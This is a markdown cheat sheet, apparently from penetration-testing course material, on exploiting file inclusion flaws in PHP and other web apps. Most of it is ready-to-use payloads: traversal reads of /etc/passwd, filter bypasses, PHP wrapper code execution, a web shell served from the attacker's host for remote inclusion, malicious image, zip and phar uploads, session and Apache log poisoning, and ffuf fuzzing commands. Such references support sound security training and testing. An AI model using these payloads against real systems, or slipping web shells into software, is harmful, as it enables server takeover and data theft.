file-inclusion.md (5725B)
1 --- 2 title: "File Inclusion (LFI/RFI)" 3 description: "LFI/RFI exploitation: wrappers, log/wrapper poisoning, RCE, filter bypass and common payloads." 4 category: web 5 tags: [web, lfi, rfi, injection] 6 tools: [curl] 7 difficulty: intermediate 8 updated: "2026-08-09" 9 source: "repo:HTB/cheatsheet-file-inclusion.pdf" 10 --- 11 12 # File Inclusion (LFI/RFI) 13 14 Local and remote file inclusion reference: path traversal, filter bypasses, PHP wrappers, RCE via log/session poisoning, and inclusion-function behaviour by language. Examples assume a vulnerable `language` parameter. 15 16 ## Local File Inclusion 17 18 ### Basic LFI 19 20 ```text 21 # Basic LFI 22 /index.php?language=/etc/passwd 23 24 # LFI with path traversal 25 /index.php?language=../../../../etc/passwd 26 27 # LFI with name prefix 28 /index.php?language=../../../etc/passwd 29 30 # LFI with an approved path 31 /index.php?language=./languages/../../../../etc/passwd 32 ``` 33 34 ### LFI Bypasses 35 36 ```text 37 # Bypass a basic (non-recursive) path traversal filter 38 /index.php?language=....//....//....//....//etc/passwd 39 40 # Bypass filters with URL encoding 41 /index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64 42 43 # Bypass appended extension with path truncation (obsolete, pre-PHP 5.3) 44 /index.php?language=non_existing_directory/../../../etc/passwd/././././[./ REPEATED ~2048 times] 45 46 # Bypass appended extension with null byte (obsolete, pre-PHP 5.5) 47 /index.php?language=../../../../etc/passwd%00 48 49 # Read PHP source with the base64 filter 50 /index.php?language=php://filter/read=convert.base64-encode/resource=config 51 ``` 52 53 ## Remote Code Execution 54 55 ### PHP Wrappers 56 57 ```text 58 # RCE with the data wrapper (requires allow_url_include=On) 59 /index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg%3D%3D&cmd=id 60 ``` 61 62 ```bash 63 # RCE with the input wrapper (requires allow_url_include=On) 64 curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" 65 66 # RCE with the expect wrapper (requires the expect extension) 67 curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id" 68 ``` 69 70 ### RFI 71 72 ```bash 73 # Host a web shell (requires allow_url_include=On for code execution) 74 echo '<?php system($_GET["cmd"]); ?>' > shell.php && python3 -m http.server <LISTENING_PORT> 75 ``` 76 77 ```text 78 # Include the remote PHP web shell 79 /index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id 80 ``` 81 82 ### LFI + File Upload 83 84 ```bash 85 # Create a malicious image (GIF magic bytes + PHP) 86 echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif 87 ``` 88 89 ```text 90 # RCE with the malicious uploaded image 91 /index.php?language=./profile_images/shell.gif&cmd=id 92 ``` 93 94 ```bash 95 # Create a malicious zip archive named as a .jpg 96 echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php 97 ``` 98 99 ```text 100 # RCE with the malicious uploaded zip (via zip:// wrapper) 101 /index.php?language=zip://shell.zip%23shell.php&cmd=id 102 ``` 103 104 ```bash 105 # Create a malicious phar named as a .jpg 106 php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg 107 ``` 108 109 ```text 110 # RCE with the malicious uploaded phar (via phar:// wrapper) 111 /index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id 112 ``` 113 114 ### Log Poisoning 115 116 ```text 117 # Read PHP session parameters 118 /index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd 119 120 # Poison the PHP session with a web shell (URL-encoded <?php system($_GET["cmd"]); ?>) 121 /index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E 122 123 # RCE through the poisoned PHP session 124 /index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id 125 ``` 126 127 ```bash 128 # Poison the Apache access log via a malicious User-Agent 129 curl -s "http://<SERVER_IP>:<PORT>/index.php" -A '<?php system($_GET["cmd"]); ?>' 130 ``` 131 132 ```text 133 # RCE through the poisoned server log 134 /index.php?language=/var/log/apache2/access.log&cmd=id 135 ``` 136 137 ## Fuzzing 138 139 ```bash 140 # Fuzz page parameters 141 ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287 142 143 # Fuzz LFI payloads 144 ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287 145 146 # Fuzz the webroot path 147 ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287 148 149 # Fuzz server configurations 150 ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287 151 ``` 152 153 Useful wordlists: `LFI-Jhaddix.txt`, webroot path wordlists (Linux/Windows), and server-configuration wordlists (Linux/Windows). 154 155 ## Inclusion Functions by Language 156 157 Behaviour of common file-handling functions — whether they read file content, execute code, and accept a remote URL. 158 159 | Language | Function | Read content | Execute | Remote URL | 160 |---|---|---|---|---| 161 | PHP | `include()` / `include_once()` | Yes | Yes | Yes | 162 | PHP | `require()` / `require_once()` | Yes | Yes | No | 163 | PHP | `file_get_contents()` | Yes | No | Yes | 164 | PHP | `fopen()` / `file()` | Yes | No | No | 165 | NodeJS | `fs.readFile()` | Yes | No | No | 166 | NodeJS | `fs.sendFile()` | Yes | No | No | 167 | NodeJS | `res.render()` | Yes | Yes | No | 168 | Java | `include` | Yes | No | No | 169 | Java | `import` | Yes | Yes | Yes | 170 | .NET | `@Html.Partial()` | Yes | No | No | 171 | .NET | `@Html.RemotePartial()` | Yes | No | Yes | 172 | .NET | `Response.WriteFile()` | Yes | No | No | 173 | .NET | `include` | Yes | Yes | Yes | 174 175 > **Note —** `Read content: Yes / Execute: Yes` functions are directly exploitable for RCE. `Remote URL: Yes` functions enable RFI. Read-only functions are still useful for sensitive-file disclosure and source-code review.